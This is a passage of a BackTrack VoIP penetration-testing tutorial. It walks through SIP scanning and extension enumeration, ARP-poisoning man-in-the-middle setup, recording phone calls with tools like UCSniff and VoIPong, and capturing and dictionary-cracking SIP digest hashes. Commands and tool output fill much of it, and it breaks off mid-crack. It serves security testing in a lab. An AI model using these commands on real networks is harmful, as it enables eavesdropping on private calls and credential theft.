Leaderboard

Contents [hide] 1 Penetration Testing VOIP with BackTrack 2 Typical VoIP Topologies 2.1 Self Hosted 2.2 Hosted Services 2.3 Online SIP Service 3 SIP Basics 3.1 SIP Requests / Methods 3.1.1 An Example SIP “INVITE” Request: 3.2 SIP Responses 3.2.1 An Example SIP “Trying” Response: 3.3 SIP Call Between 2 Phones Example 4 Attack Vectors 5 Information Gathering 5.1 SMAP 5.1.1 SMAP Usage: 5.1.2 Scanning a single host: 5.1.3 Scanning a range of IP addresses: 5.2 SIPSAK 5.3 SIPScan 5.3.1 Sip-scan usage: 5.3.2 Scanning a subnet: 5.4 SVMAP 5.4.1 Scanning an IP range: 5.4.2 Enabling fingerprinting scanning 5.5 Extensions Enumeration 5.5.1 Svwar 5.5.1.1 Usage: 5.5.1.2 Example: 5.5.2 Enumiax 6 Monitoring Traffic and Eavesdropping Phone calls 6.1 Arp Poisoning using Arpspoof 6.2 Capturing traffic and Eavesdropping using Wireshark 6.3 VoIPong 6.3.1 Playing the file: 6.4 Vomit 6.5 UCsniff 6.5.1 Monitor Mode Usage 6.5.2 MITM Learning Mode Usage 6.5.3 MITM Target Mode 6.6 Xplico 6.7 Capturing SIP Authentication using SIPDump 7 Attacking Authentication 7.1 Cracking SIP Digest response hashes 7.1.1 SIPCrack Usage: 7.1.2 Dictionary attack 7.1.2.1 Creating a six chars numeric dictionary: 7.1.2.2 Cracking the Digest Response: 7.1.3 Brute Force attack using John The Ripper 7.2 Brute forcing SIP Accounts 8 VLAN Hopping 8.1 VoIP Hopper 8.2 ACE 9 Denial Of Service 9.1 Inviteflood 9.2 Rtpflood 9.3 Iaxflood 9.4 Teardown 10 Spoofing Caller ID 11 Attacking VoIP Using Metasploit 11.1 Metasploit VoIP Modules 11.1.1 Auxiliaries 11.1.2 Exploits 11.2 Scanning SIP Enabled Devices 11.3 Enumerating SIP extensions / Usernames 11.4 Spoofing Caller ID auxiliary 11.5 Exploiting VoIP systems 12 Closing Words 13 About The Author 14 References Penetration Testing VOIP with BackTrack VoIP is an exciting technology which provides many benefits and cost effective solutions for communication. More and more small and enterprise businesses are replacing their old traditional telephony systems with an IP based ones. A VoIP based PBX can provide many features such as: Multiple Extensions, Caller ID, Voice mail, IVR capabilities, Recording of conversations, Logging, Usage with hardware based telephones or software based (aka soft phones). Now days there are many vendors for PBX, IP telephones, VoIP services and equipment such as: CISCO, AVAYA and ASTERISK, SNOM, THOMSON… With new technology comes a new challenge for both the defensive and offensive side of security, One of the “great” dangers of traditional phone lines was that it was susceptible to eavesdropping. The “old school” way to eavesdrop on somebody’s phone line was to physically connect a small transmitter which was connected inside or outside their premises somewhere along the phone cord. IP telephony systems are also susceptible to eavesdropping, doing so in an IP environment is a little bit more difficult to execute, detect and require more the knowledge and the right set of tools. In this article we won’t discuss a particular vendor or technique but we will take a look at the concepts and the tools available for attacking VoIP available for us in Backtrack Linux. The main goal of this article is to present the tools and their purpose in order to help you choose the right tool for the right situation. We will examine some real world attack vectors and discover how BackTrack can assist us pentesting VoIP; we will also examine some of the tools which present in BackTrack and their usage. Typical VoIP Topologies There are several ways IP based telephony can be implemented, here are some common topologies and usage: Self Hosted A PBX (i.e. Asterisk) is installed at the client site and connected to an ISP or telephony service provider PSTN via a SIP Trunk/PRI, the VoIP traffic flows through a dedicated Vlan. Hosted Services There is no need for a PBX at site. Just a switch, a router, IP phones and a connection to the service provider PBX via internet or IP/VPN connection, each phone is configured with SIP account information. Online SIP Service Services like sipme.me provides an application for pc or smart phones and a free sip account, Offering low price for international calls and free calls between the service users by assigning a pone number to each subscriber. SIP Basics The SIP (Session Initiation Protocol) role is to setup, terminate or modify a voice or a video call where the voice and/or video traffic are being carried by a protocol like RTP (Real time transport Protocol). SIP is an application layer protocol which uses UDP for transport (TCP and SCTP can be used as well). SIP usually uses ports 5060 TCP or UDP for unencrypted signaling or 5061 for encrypted transportation using TLS. SIP is an ASCII based protocol which has some similar elements like in the HTTP protocol by using a Request/Response model. Much like an HTTP request from a browser a SIP client request is made using a SIP URI a user agent and a method/request. SIP uses e-mail like addresses format: user/phone@domain/ip A typical SIP URI looks like: sip:205@192.168.1.100, sip:username@pbx.com , sip:205@192.168.1.100:5060 According to the request made by the client a response will be received with a status or error code, the following tables describe the available requests and responses in the SIP protocol. SIP Requests / Methods [table=width: 500, class: grid, align: center] [tr] [td]Request[/td] [td]Description[/td] [/tr] [tr] [td]INVITE [/td] [td]Used to invite and account to participate in a call session. [/td] [/tr] [tr] [td]ACK[/td] [td]Acknowledge an INVITE request. [/td] [/tr] [tr] [td]CANCEL[/td] [td]Cancel a pending request. [/td] [/tr] [tr] [td]REGISTER[/td] [td]Register user with a SIP server[/td] [/tr] [tr] [td]OPTIONS[/td] [td]Lists information about the capabilities of a caller[/td] [/tr] [tr] [td]BYE[/td] [td]Terminates a session between two users in a call. [/td] [/tr] [tr] [td]REFER[/td] [td]Indicates that the recipient(identified by the Request URI) should contact a third party using the contact information provided in the request. [/td] [/tr] [tr] [td]SUBSCRIBE[/td] [td]The SUBSCRIBE method is used to request current state and state updates from a remote node. [/td] [/tr] [tr] [td]NOTIFY[/td] [td]The NOTIFY method is used to notify a SIP node that an event which has been requested by an earlier SUBSCRIBE method has occurred. [/td] [/tr] [/table] “INVITE” Request: INVITE sip:201@192.168.1.104 SIP/2.0 Via: SIP/2.0/UDP 192.168.1.102;rport;branch=z9hG4bKvbxaoqar Max-Forwards: 70 To: 201@192.168.1.104 SIP Responses [table=width: 500, class: grid, align: center] [tr] [td]Response[/td] [td]Description [/td] [/tr] [tr] [td]1xx [/td] [td]Informational responses, Request received and being processed. [/td] [/tr] [tr] [td]2xx[/td] [td]Successful responses The action was successfully received, understood, and accepted. [/td] [/tr] [tr] [td]3xx[/td] [td]Redirection responses [/td] [/tr] [tr] [td]4xx[/td] [td]Request failure responses The request contains bad syntax or cannot be fulfilled at the server. [/td] [/tr] [tr] [td]5xx[/td] [td]Server failure responses The server failed to fulfill an apparently valid request. [/td] [/tr] [tr] [td]6xx[/td] [td]Global failure responses The request cannot be fulfilled at any server. [/td] [/tr] [/table] An Example SIP “Trying” Response: SIP/2.0 100 Trying Via: SIP/2.0/UDP 192.168.1.102;branch=z9hG4bKpmphujka;received=192.168.1.102;rport=5060 From: "NIghtRanger" 200@192.168.1.104 SIP Call Between 2 Phones Example The calling phone sends an invite. The called phone sends back a response of 100 (Trying). The called phone then starts to ring and sends a response of 180 (Ringing). When the caller picks up the phone the called phone sends a response of 200 (OK). The calling phone sends an ACK response. Conversation begins via RTP. When the caller hangs up the phone a BYE request is sent. The calling phone responds with 200 (OK). Attack Vectors Before we get started with the tools let’s have a look at some common VoIP attack vectors: Information Gathering, Footprinting and Enumeration. Monitoring Traffic and eavesdropping Phone calls. Attacking Authentication. VLAN Hopping. Denial of Service / Flooding. Spoofing Caller ID. In order to test the tools I have setup a TRIXBOX PBX System and created 6 extensions. I will be using two soft phones, 1 is Linux based client called Twinkle and the 2nd is a Windows based client called X-Lite. I will be using the latest and greatest release of Backtrack Linux which is R2. You can find Most of the VoIP attack tools in Backtrack under the “/pentest/voip/” directory: root@bt:~# cd /pentest/voip/ root@bt:/pentest/voip# Or you can simply navigate using the KDE menu to the “Backtrack” ? “Voice Over IP” sub menus : Information Gathering This phase is where we gather information about the topology, servers and clients to learn as much information as we can in order to launch a successful attack. What we are interested in finding is live hosts, PBX type and version, VoIP servers/gateways, clients (hardware and software) types and versions etc… Instead of enumerating “usernames” we will be enumerating SIP extensions. Let’s take a look at some of the tools which available in Backtrack to help us find, identify and enumerate VoIP enabled devices. SMAP Backtrack includes a great tool called SMAP which is a simple scanner for SIP enabled devices SMAP sends off various SIP requests awaiting responses from SIP enabled DSL router, proxies and user agents. It could be considered a mash up of NMAP and sipsak. SMAP Usage: root@bt:/pentest/voip/smap# ./smap smap 0.6.0 s@123.org Scanning a single host: root@bt:/pentest/voip/smap# ./smap 192.168.1.104 smap 0.6.0 s@123.org Scanning a range of IP addresses: root@bt:/pentest/voip/smap# ./smap 192.168.1.130/24 smap 0.6.0 s@123.org Now that we have identified sip enabled hosts we can use SMAP to fingerprint the server/client type and version: root@bt:/pentest/voip/smap# ./smap -O 192.168.1.104 smap 0.6.0 s@123.org In case SMAP could not fingerprint our host we use the –l argument to put it in learning mode to provide some useful information: root@bt:/pentest/voip/smap# ./smap -l 192.168.1.104 smap 0.6.0 s@123.org Another useful feature of SMAP is the –d argument which enables debug output for verbosity try to use the –o along with it to view the fingerprinting process in details. root@bt:/pentest/voip/smap# ./smap -d 192.168.1.104 smap 0.6.0 s@123.org SIPSAK SIPSAK is used for testing SIP enabled applications and devices using the OPTION request method only. We can use it to fingerprint and enumeration. You won’t find sipsak in the “/pentest/voip/ “ directory; you can execute it from any location by simply typing sipsak. root@bt:~# sipsak sipsak 0.9.6 by Nils Ohlmeier Copyright (C) 2002-2004 FhG Fokus Copyright (C) 2004-2005 Nils Ohlmeier report bugs to nils@sipsak.org shoot : sipsak [-f FILE] [-L] -s SIPURI trace : sipsak -T -s SIPURI usrloc : sipsak -U [-I|M] [-b NUMBER] [-e NUMBER] NUMBER] [-z NUMBER] -s SIPURI usrloc : sipsak -I|M [-b NUMBER] [-e NUMBER] -s SIPURI usrloc : sipsak -U [-C SIPURI] NUMBER] -s SIPURI message: sipsak -M [-B STRING] [-O STRING] [-c SIPURI] -s SIPURI flood : sipsak -F [-e NUMBER] -s SIPURI random : sipsak -R [-t NUMBER] -s SIPURI additional parameter in every mode: [-a PASSWORD] [-d] [-i] [-H HOSTNAME] [-l PORT] [-m NUMBER] [-n] [-N] [-r PORT] [-v] [-V] [-w] -h displays this help message -V prints version string only -f FILE the file which contains the SIP message to send use - for standard input -L de-activate CR (\r) insertion in files -s SIPURI the destination server uri in form sip:[user@]servername[:port] -T activates the traceroute mode -U activates the usrloc mode -I simulates a successful calls with itself -M sends messages to itself -C SIPURI use the given uri as Contact in REGISTER -b NUMBER the starting number appendix to the user name (default: 0) -e NUMBER the ending numer of the appendix to the user name -o NUMBER sleep number ms before sending next request -x NUMBER the expires header field value (default: 15) -z NUMBER activates randomly removing of user bindings -F activates the flood mode -R activates the random modues (dangerous) -t NUMBER the maximum number of trashed character in random mode (default: request length) -l PORT the local port to use (default: any) -r PORT the remote port to use (default: 5060) -p HOSTNAME request target (outbound proxy) -H HOSTNAME overwrites the local hostname in all headers -m NUMBER the value for the max-forwards header field -n use FQDN instead of IPs in the Via-Line -i deactivate the insertion of a Via-Line -a PASSWORD password for authentication (if omitted password="") -u STRING Authentication username -d ignore redirects -v each v produces more verbosity (max. 3) -w extract IP from the warning in reply -g STRING replacement for a special mark in the message -G activates replacement of variables -N returns exit codes Nagios compliant -q STRING search for a RegExp in replies and return error on failure -W NUMBER return Nagios warning if retrans > number -B STRING send a message with string as body -O STRING Content-Disposition value -P NUMBER Number of processes to start -A NUMBER number of test runs and print just timings -S use same port for receiving and sending -c SIPURI use the given uri as From in MESSAGE -D NUMBER timeout multiplier for INVITE transactions and reliable transports (default: 64) -E STRING specify transport to be used -j STRING adds additional headers to the request Here is an example for using sipsak to fingerprint a sip enabled device We can see in the result that the device we queried is an Audiocodes MP-114 FXS gateway. root@bt:~# sipsak -vv -s sip:192.168.1.221 message received: SIP/2.0 200 OK Via: SIP/2.0/UDP 127.0.1.1:51601;branch=z9hG4bK.18a1b21f;rport;alias From: sip:sipsak@127.0.1.1:51601;tag=97ac9e5 To: sip:192.168.1.221;tag=1c1785761661 Call-ID: 159042021@127.0.1.1 CSeq: 1 OPTIONS Contact: Supported: em,100rel,timer,replaces,path,resource-priority Allow: REGISTER,OPTIONS,INVITE,ACK,CANCEL,BYE,NOTIFY,PRACK,REFER,INFO,SUBSCRIBE,UPDATE Server: Audiocodes-Sip-Gateway-MP-114 FXS/v.5.40A.040.005 X-Resources: telchs=4/0;mediachs=0/0 Accept: application/sdp, application/simple-message-summary, message/sipfrag Content-Type: application/sdp Content-Length: 343 v=0 o=AudiocodesGW 1785763980 1785763858 IN IP4 192.168.1.221 s=Phone-Call c=IN IP4 192.168.1.221 t=0 0 m=audio 6000 RTP/AVP 18 8 0 127 a=rtpmap:18 G729/8000 a=fmtp:18 annexb=no a=rtpmap:8 PCMA/8000 a=rtpmap:0 PCMU/8000 a=rtpmap:127 telephone-event/8000 a=fmtp:127 0-15 a=ptime:20 a=sendrecv a=rtcp:6001 IN IP4 192.168.1.221 ** reply received after 67.923 ms ** SIP/2.0 200 OK final received SIPScan Sip-scan is a simple scanner for sip enabled hosts it can scan a single host or an entire subnet. Sip-scan usage: root@bt:/pentest/voip/sipscan# ./sip-scan --help ./sip-scan version [unknown] calling Getopt::Std::getopts (version 1.05), running under Perl version 5.10.0. Usage: sip-scan [options] -v Be verbose. -i ip|if Interface/IP for SIP-headers (default: IP from ppp0) -p port remote port to scan. (default: 5060) -l port local origin of packets. (default: 5060) -d n[p] Wait n ms after each sent packet (default: 50ms) or if 'p' is given, send n packets per second (default: 20) -w n Wait n ms for remaining answers (default: 2000ms) Network spec contains the wildcard * or ranges n-m. Scanning a subnet: root@bt:/pentest/voip/sipscan# ./sip-scan -i eth0 192.168.1.1-254 192.168.1.20: Grandstream HT-502 V1.2A 1.0.1.35 192.168.1.21: Grandstream HT-502 V1.2A 1.0.1.35 192.168.1.22: Asterisk PBX 192.168.1.104: Asterisk PBX 192.168.1.128: FreeSWITCH-mod_sofia/1.0.trunk-16055 192.168.1.174: Grandstream HT-502 V1.2A 1.0.1.35 192.168.1.175: Asterisk PBX 1.6.0.9-samy-r27 192.168.1.219: "Exelmind Call-Control Switch (CCS)" 192.168.1.248: MailVision HostLynx/2.1 'GA' SVMAP SVMAP is a part of a suite of tools called SIPVicious and it’s my favorite scanner of choice It can be used to scan identify and fingerprint a single IP or a range of IP addresses. Svmap allows specifying the request method which is being used for scanning, the default method is OPTIONS, it offers debug and verbosity options and even allows scanning the SRV records for SIP on the destination domain. You can use the ./svmap –h in order to view all the available arguments root@bt:/pentest/voip/sipvicious# ./svmap.py Usage: svmap.py [options] host1 host2 hostrange examples: svmap.py 10.0.0.1-10.0.0.255 \ > 172.16.131.1 sipvicious.org/22 10.0.1.1/24 \ > 1.1.1.1-20 1.1.2-20.* 4.1.*.* svmap.py -s session1 --randomize 10.0.0.1/8 svmap.py --resume session1 -v svmap.py -p5060-5062 10.0.0.3-20 -m INVITE Scanning an IP range: root@bt:/pentest/voip/sipvicious# ./svmap.py 192.168.1.1-254 | SIP Device | User Agent | Fingerprint | ---------------------------------------------------- | 192.168.1.104:5060 | Asterisk PBX | disabled | | 192.168.1.103:5060 | Twinkle/1.4.2 | disabled | Enabling fingerprinting scanning root@bt:/pentest/voip/sipvicious# ./svmap.py 192.168.1.1-254 --fp Extensions Enumeration Extension enumeration can aid an attacker by finding valid extensions on a VoIP system which later can lead to a brute force attack on the SIP accounts. Extension enumeration works by examining errors returned by a sip requests methods like REGISTER, OPTIONS and INVITE Svwar Svwar is also a tool from the sipvicious suite allows to enumerate extensions by using a range of extensions or using a dictionary file svwar supports all the of the three extension enumeration methods as mentioned above, the default method for enumeration is REGISTER. Usage: root@bt:/pentest/voip/sipvicious# ./svwar.py Usage: svwar.py [options] target examples: svwar.py -e100-999 10.0.0.1 svwar.py -d dictionary.txt 10.0.0.2 Example: root@bt:/pentest/voip/sipvicious# ./svwar.py -e100-400 192.168.1.104 | Extension | Authentication | ------------------------------ | 201 | reqauth | | 200 | reqauth | | 203 | reqauth | | 202 | reqauth | | 303 | reqauth | | 305 | reqauth | Svwar has identified all the extensions I’ve created on my Trixbox server. You can specify another sip method by using the –m argument, you can also add t –v or –vv for verbosity. root@bt:/pentest/voip/sipvicious# ./svwar.py -e100-400 192.168.1.104 -m INVITE -v INFO:TakeASip:trying to get self ip .. might take a while INFO:root:start your engines INFO:TakeASip:Ok SIP device found INFO:TakeASip:extension '200' exists - requires authentication INFO:TakeASip:extension '201' exists - requires authentication -----Edit---- INFO:TakeASip:extension '203' exists - requires authentication INFO:TakeASip:extension '303' exists - requires authentication INFO:TakeASip:extension '303' exists - requires authentication INFO:TakeASip:extension '305' exists - requires authentication INFO:root:we have 6 extensions | Extension | Authentication | ------------------------------ | 201 | reqauth | | 200 | reqauth | | 203 | reqauth | | 202 | reqauth | | 303 | reqauth | | 305 | reqauth | INFO:root:Total time: 0:00:21.944731 Enumiax Enumiax is used to enumerate Asterisk Exchange protocol usernames. It allows for a dictionary attack or a sequential Username Guessing root@bt:/pentest/voip/enumiax# ./enumiax enumIAX 1.0 Dustin D. Trammell rammell@tippingpoint.com Monitoring Traffic and Eavesdropping Phone calls Monitoring VoIP traffic can allow an attacker capture SIP requests and RTP data sent from clients to server and back. It can serve two attack vectors: Capturing SIP authentication (we will later discuss this topic in the attacking authentication section). Eavesdropping users phone calls. For demonstration purposes we will use the following scenario: For this attack vector we will need to perform a Man in The Middle Attack which will require the following steps: Arp poisoning/spoofing Sniffing traffic Decoding RTP data to an audio file. Arp Poisoning using Arpspoof Before we can begin to sniff traffic we will need to arp poison our switch/gateway, we’ll be using a tool called “Arpspoof” which is located in “/usr/sbin/Arpspoof” folder in Backtrack, in fact you can just invoke it from anywhere by typing: arpspoof Before we can use arpspoof we will need to enable IP forwarding: root@bt:~# echo 1 > /proc/sys/net/ipv4/ip_forward Arpspoof syntax should look as follows: root@bt:~# arpspoof Version: 2.4 Usage: arpspoof [-i interface] [-t target] host For a successful MITM attack we will need to spoof both ways: arpspoof –t victim gateway arpspoof –t gateway victim We will let our Arp poisoning run in the background while performing a capture using Wireshark. Capturing traffic and Eavesdropping using Wireshark Now let’s fire up Wireshark to capture some traffic. We will use the following Wireshark capture filter: not broadcast and not multicast and host 192.168.1.118 Now let’s start capturing some traffic… While sniffing for traffic User “B” has launched the X-Lite soft phone on his desktop computer and dialed to user “A” extension 200. Wireshark has captured some traffic, after a while I have stopped the capture process and saved the sessions into a file called “sip.pcap”. We can see that we have captured the SIP traffic but for this section we are more interested in the RTP traffic because it contains the actual conversation data. Wireshark has a pretty cool feature to decode captured VoIP calls data into playable audio format You can find this feature under the Statistics -> VoIP Calls menu. VoIPong VoIPong is a utility which detects all Voice over IP calls on a pipeline, and for those which are G711 encoded, dumps actual conversation to separate wave files. It supports SIP, H323, Cisco's Skinny Client Protocol, RTP and RTCP. VoIPong is located in Backtrack “/pentest/voip/voipong” directory Before we can use VoIPong we will need to make some changes to the voipong.conf file: root@bt:/pentest/voip/voipong# nano etc/voipong.conf soxpath = /usr/bin/sox networksfile = /pentest/voip/voipong/etc/voipongnets outdir = /pentest/voip/voipong/output/ device = eth0 # your network interface card name Now we can start VoIPong to capture some VoIP conversations root@bt:/pentest/voip/voipong# ./voipong -c etc/voipong.conf -d4 -f Once VoIPong detects a phone call it will start capture it once it finish VoIPong will stop the capture process and will render it to a playable wave file. All conversation will be saved into the “/pentest/voip/voipong/output” folder Playing the file: Vomit Vomit converts a Cisco IP phone RTP conversation into a wave file that can be played with ordinary sound players. Vomit requires a tcpdump output file. In order to get vomit up and running we will need to download and install waveplay Get it here: http://dir.filewatcher.com/d/FreeBSD/distfiles/Other/waveplay-20010924.tar.gz.5731.html root@bt:~# tar -xzvf waveplay-20010924.tar.gz waveplay-20010924/ waveplay-20010924/Makefile waveplay-20010924/waveplay.c waveplay-20010924/waveplay.ja.1 waveplay-20010924/wavefmt.h waveplay-20010924/README waveplay-20010924/waveplay.1 waveplay-20010924/README.jp root@bt:~# cd waveplay-20010924 root@bt:~/waveplay-20010924# make cc -c -o waveplay.o waveplay.c cc waveplay.o -o waveplay root@bt:~/waveplay-20010924# cp waveplay /usr/bin/ root@bt:/pentest/voip/vomit# ./vomit-r sip.dump | waveplay -S8000 -B16 -C1 UCsniff UCSniff is a VoIP & IP Video Security Assessment tool that integrates existing open source software into several useful features, allowing VoIP and IP Video owners and security professionals to rapidly test for the threat of unauthorized VoIP and Video Eavesdropping. UCSniff supports Arp poisoning, VLAN Hopping, VLAN Discovery via CDP, it has a sniffer capabilities and more… I consider it as an all in one eavesdropping tool. Let’s take a look at some usage examples: UCSniff can operate in 2 modes Monitor mode – Should be used on a shared media where the IP phones connected to i.e : a HUB, wireless access point, it can be also be used in a switched environment by setting up a SPAN sessions on a Cisco switch. Man in the middle mode – This mode has 2 additional modes which are Learning Mode Targeted Mode Preparing UCSniff so we can run it from any location in backtrack: root@bt:/tmp# cd /pentest/voip/ucsniff/ root@bt:/pentest/voip/ucsniff# ./configure root@bt:/pentest/voip/ucsniff# make root@bt:/pentest/voip/ucsniff# make install Monitor Mode Usage root@bt:/tmp/ucsniff# ucsniff -i eth0 -M UCSniff 2.1 starting Running in Monitor Mode File directory-users.txt can't be opened for reading in working directory File targets.txt can't be opened for reading in working directory Listening on eth0... (Ethernet) eth0 -> 00:0C:29:84:98:B2 192.168.1.105 255.255.255.0 Starting Unified sniffing... Warning: Please ensure that you hit 'q' when you are finished with this program. Warning: 'q' re-ARPs the victims. Failure to do so before program exit will result in a DoS. SIP Call in progress. (extension 200, ip 192.168.1.104) calling (extension 201, ip 192.168.1.118) SIP Call in progress. (extension 200, ip 192.168.1.105) calling (extension 201, ip 192.168.1.104) SIP Call ended. Conversation recorded in file '200-Calling-201-5:2:7-3-both.wav' SIP Call ended. Conversation recorded in file '200-Calling-201-5:2:8-2-both.wav' Closing text interface... Unified sniffing was stopped. We can stop the sessions by pressing on the Q key. Several files were created by UCSniff: Log files – Contains detailed information about sip transactions Pcap files – capture file which can be viewed in wireshark audio wav files – conversation audio files root@bt:/tmp/ucsniff# ls -l total 376 -rw-r--r-- 1 root root 40854 Feb 5 05:02 200-Calling-201-5:2:7-3-both.wav -rw-r--r-- 1 root root 115818 Feb 5 05:02 200-Calling-201-5:2:7-3.pcap -rw-r--r-- 1 root root 46294 Feb 5 05:02 200-Calling-201-5:2:8-2-both.wav -rw-r--r-- 1 root root 103940 Feb 5 05:02 200-Calling-201-5:2:8-2.pcap -rw-r--r-- 1 root root 278 Feb 5 05:02 call_detail_log -rw-r--r-- 1 root root 317 Feb 5 05:02 call_log -rw-r--r-- 1 root root 10063 Feb 5 05:02 sip.log -rw-r--r-- 1 root root 39073 Feb 5 05:02 sipdump.pcap -rw-r--r-- 1 root root 0 Feb 5 05:01 skinny_log MITM Learning Mode Usage This mode uses a signaling protocol (SIP, Skinny) to map extensions to an IP Addresses. You can customize the targets to only intercept specific IP Addresses or Networks. In the following example we assume we are on the VoIP VLAN UCSniff will Arp poison all hosts on the subnet. root@bt:/tmp/ucsniff# ucsniff -i eth0 // // UCSniff 2.1 starting Listening on eth0... (Ethernet) eth0 -> 00:0C:29:84:98:B2 192.168.1.105 255.255.255.0 Randomizing 255 hosts for scanning... Scanning the whole netmask for 255 hosts... * |==================================================>| 100.00 % ARP poisoning victims: GROUP 1 : ANY (all the hosts in the list) GROUP 2 : ANY (all the hosts in the list) Mapped new target entry: (IP: 192.168.1.118) --> extension 201 and name:Mapped new target entry: (IP: 192.168.1.104) --> extension 200 and name: SIP Call in progress. (extension 201, ip 192.168.1.118) calling (extension 200, ip 192.168.1.104) SIP Call ended. Conversation recorded in file '201-Calling-200-5:13:4-2-both.wav' Closing text interface... ARP poisoner deactivated. RE-ARPing the victims... Unified sniffing was stopped. If we take a look at UCSniff log files we can see the discovered targets used in the attack. root@bt:/tmp/ucsniff# cat targets.txt 192.168.1.118,201,,sip 192.168.1.104,200,,sip MITM Target Mode Target Mode enables Eavesdropping at a layer higher than just random audio streams or the IP address of phones for which you don't know the extension. This mode has 2 sub modes: Targeted User Targeted Conversation We can add targets manually to the “targets.txt” file in the following format: x.x.x.x,extension,,sip 192.168.1.118,201,,sip Or use learning mode to auto discover hosts root@bt:/tmp/ucsniff# ucsniff -i eth0 -T UCSniff 2.1 starting File targets.txt can't be opened for reading in working directory No targets have been previously discovered in Targets file, targets.txt Please run UCSniff in learning mode, or manually edit targets.txt Once a valid targets.txt file is found you will be asked to choose an eavesdropping mode: root@bt:/tmp/ucsniff# ucsniff -i eth0 -T UCSniff 2.1 starting Parsed 2 entries in Targets file, targets.txt UCSniff running in target mode. Parsed 2 previously discovered targets Please select a Targeted Eavesdropping Mode: 1. User Description: Eavesdrop on all calls to or from a particular endpoint. 2. Conversation Description: Eavesdrop on bi-directional conversation flows between two selected endpoints. Please select option (1) or (2): Selecting "User" tells the tool to intercept all traffic between the one Target, and the rest of the network. In "Conversation", two endpoints are selected and the network is ARP Poisoned to only intercept the traffic between those two users. UCSniff includes more useful tools and attacks modes like VLAN hopping (using ACE) which will be discussed later. Xplico Although Xplico is not in the Backtrack voip tools directory, it is a very useful tool for capturing SIP and RTP traffic (among other protocols). Xplico can be found in the Backtrack -> Digital Forensics -> Forensic Analysis menu In case it is not present on your Backtrack installation you can simply install it by issuing the following command: root@bt:~# apt-get install xplico Xplico can be used to capture live traffic or import a Wireshark PCAP capture file. Either way Xplico will decode the captured packets and will assemble them into the appropriate format In our case it will be SIP and RTP. After executing Xplico you will be asked to login, the default username and password are: xplico Once we have successfully logged in to Xplico we will need to create a case We will be asked to choose between a live capture or to import a PCAP file In this example we will use Xplico to perform a live capture (we will Arp poison our targets in the background using arpspoof). Now we will have to choose our case and create a new session By choosing our newly created session we will see our main statistics page with the option to choose our network adapter and start/stop the capture process. Here is an example for captured SIP traffic: An example for RTP decoded traffic: Capturing SIP Authentication using SIPDump SIPDump is a part of the SIPCrack tools suite, it allows performing a live capture of SIP authentication digest response or it can dump a previously captured sessions from a PCAP file. SIPDump Usage: root@bt:/pentest/voip/sipcrack# ./sipdump -i eth0 SIPdump 0.3 ( MaJoMu | www.codito.de ) --------------------------------------- Usage: sipdump [OPTIONS] = file where captured logins will be written to Options: -i = interface to listen on -p = use pcap data file -m = enter login data manually -f "" = set libpcap filter * You need to specify dump file Live capture using SIPDump: root@bt:/pentest/voip/sipcrack# ./sipdump -i eth0 auth.txt SIPdump 0.3 ( MaJoMu | www.codito.de ) --------------------------------------- * Using dev 'eth0' for sniffing * Starting to sniff with packet filter 'tcp or udp or vlan' * Dumped login from 192.168.1.104 -> 192.168.1.111 (User: '200') * Dumped login from 192.168.1.104 -> 192.168.1.111 (User: '200') * Dumped login from 192.168.1.104 -> 192.168.1.111 (User: '200') Dumping authentication data from a PCAP file root@bt:/pentest/voip/sipcrack# ./sipdump -p /root/registration.pcap auth.txt SIPdump 0.3 ( MaJoMu | www.codito.de ) --------------------------------------- * Using pcap file '/root/registration.pcap' for sniffing * Starting to sniff with packet filter 'tcp or udp or vlan' * Dumped login from 192.168.1.104 -> 192.168.1.101 (User: '200') * Exiting, sniffed 1 logins SIPDump will write the authentication challenge response to the specified file which looks as follows: 192.168.1.111"192.168.1.104"200"asterisk"REGISTER"sip:192.168.1.104"44b80d16""""MD5"8edc2d549294f6535070439fb069c968 192.168.1.111"192.168.1.104"200"asterisk"REGISTER"sip:192.168.1.104"46cce857""""MD5"4dfc7515936a667565228dbaa0293dfc 192.168.1.111"192.168.1.104"200"asterisk"REGISTER"sip:192.168.1.104"2252e8fe""""MD5"5b895c6ae07ed8391212119aab36f108 We will disscuss cracking these challenges in the attacking authentication chapter. Attacking Authentication SIP can be susceptible to 2 types of authentication attacks, before we take a look at these attacks types let’s understand how’s a SIP registration and authentication process takes place. SIP uses a digest authentication which is a mechanism that the HTTP protocol uses and known as HTTP digest. Because SIP is an ASCII based protocol the authentication details are hashed in order to prevent them to transport in clear text. When a SIP client (User Agent) wants to authenticate with a SIP server, the server generates and sends a digest challenge to the client, it contains the following parameters: Realm - used to identify credentials within as SIP message, usually it is the sip domain. Nonce - this is an md5 unique string which is generated by the server for each registration request it is made from a time stamp and a secret phrase to ensure it has a limited lifetime and could be not be used again. Once the client receives the digest challenge and the user enters his credentials the client uses the nonce to generate a digest response and sends it back to the server. With that said, let’s try to crack the digest response in order to obtain a valid SIP account password. Cracking SIP Digest response hashes Backtrack provides a great tool called SIPCrack, We already discussed how to capture a valid SIP authentication digest response using SIPDump. SIPCrack can be found in root@bt:/pentest/voip/sipcrack# SIPCrack Usage: root@bt:/pentest/voip/sipcrack# ./sipcrack SIPcrack 0.3 ( MaJoMu | www.codito.de ) ---------------------------------------- Usage: sipcrack [OPTIONS] [ -s | -w ] = file containing logins sniffed by SIPdump Options: -s = use stdin for passwords -w wordlist = file containing all passwords to try -p num = print cracking process every n passwords (for -w) (ATTENTION: slows down heavily) * Either -w or -s has to be given SIPCrack can operate in two modes: Dictionary attack STDIN Dictionary attack Backtrack provides some basic dictionaries which are located in: root@bt:/pentest/passwords/wordlists But for the purpose of this article I will use another grate tool in backtrack called Crunch which is used to create custom dictionaries. Let’s use crunch to create a six characters numeric dictionary Crunch is located in: root@bt:/pentest/passwords/crunch# Crunch Usage: usage: crunch [-f /path/to/charset.lst charset-name] [-o wordlist.txt] [-t [FIXED]@@@@] [-s startblock] [-c number] For detailed crunch usage check its manual: root@bt:/pentest/passwords/crunch# man crunch Creating a six chars numeric dictionary: root@bt:/pentest/passwords/crunch# ./crunch 6 6 -f charset.lst numeric -o /pentest/voip/sipcrack/sipass.txt Crunch will now generate 7000000 bytes of data Crunch will now generate 6 MB of data Crunch will now generate 0 GB of data 100% We will use a previously captured sip credentials stored by SIPDump in the auth.txt file ans sipass.txt as the dictionary (which we created using crunch) Cracking the Digest Response: root@bt:/pentest/voip/sipcrack# ./sipcrack -w sipass.txt auth.txt SIPcrack 0.3 ( MaJoMu | www.codito.de ) ---------------------------------------- * Found Accounts: Num Server Client User Hash|Password 1 192.168.1.101 192.168.1.104 200 3a33e768ed6f630347f4b511371926bd * Select which entry to crack (1 - 1): 1 * Generating static MD5 hash... 0a84f78fde66bb15197eab961462dc2f * Starting bruteforce against user '200' (MD5: 